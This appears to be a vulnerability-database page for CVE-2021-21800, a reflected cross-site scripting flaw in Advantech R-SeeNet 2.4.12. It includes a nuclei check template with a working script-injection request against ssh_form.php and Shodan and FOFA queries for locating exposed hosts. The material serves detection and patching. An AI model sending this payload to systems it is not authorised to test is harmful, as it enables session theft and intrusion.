HexBrain

Browse / CVEs / CVE-2021-21800

CVE-2021-21800· advantech / r-seenet· CWE-79

Advantech R-SeeNet 2.4.12 - Cross-Site Scripting

mediumseverity
6.1CVSS score
14.1%likelihood of exploitation, next 30 days
97%of all CVEs are less likely
Readycheck to confirm it

Advantech R-SeeNet 2.4.12 contains a reflected cross-site scripting vulnerability in the ssh_form.php script functionality.

Impact

Attackers can inject malicious JavaScript via reflected XSS, potentially stealing administrator session cookies or performing administrative actions on behalf of authenticated users.

Fix

Apply the latest security patches or updates provided by Advantech to fix the XSS vulnerability in R-SeeNet 2.4.12.

How to confirm it

Send: GET {{BaseURL}}/php/ssh_form.php?hostname=%3C/title%3E%3Cscript%3Ealert(document.domain)%3C/script%3E%3Ctitle%3E
Positive when: contains "<title>SSH Session </title><script>alert(document.domain)</…" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2021-21800 -u <target>

The full check
id: CVE-2021-21800

info:
  name: Advantech R-SeeNet 2.4.12 - Cross-Site Scripting
  author: arafatansari
  severity: medium
  description: |
    Advantech R-SeeNet 2.4.12 contains a reflected cross-site scripting vulnerability in the ssh_form.php script functionality.
  impact: |
    Attackers can inject malicious JavaScript via reflected XSS, potentially stealing administrator session cookies or performing administrative actions on behalf of authenticated users.
  remediation: |
    Apply the latest security patches or updates provided by Advantech to fix the XSS vulnerability in R-SeeNet 2.4.12.
  reference:
    - https://talosintelligence.com/vulnerability_reports/TALOS-2021-1271
    - https://nvd.nist.gov/vuln/detail/CVE-2021-21800
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/Live-Hack-CVE/CVE-2021-21800
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-21800
    cwe-id: CWE-79
    epss-score: 0.14115
    epss-percentile: 0.96598
    cpe: cpe:2.3:a:advantech:r-seenet:2.4.12:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: advantech
    product: r-seenet
    shodan-query:
      - http.html:"R-SeeNet"
      - http.html:"r-seenet"
    fofa-query: body="r-seenet"
  tags: cve2021,cve,xss,r-seenet,advantech,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/php/ssh_form.php?hostname=%3C/title%3E%3Cscript%3Ealert(document.domain)%3C/script%3E%3Ctitle%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<title>SSH Session </title><script>alert(document.domain)</script><title></title>"

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from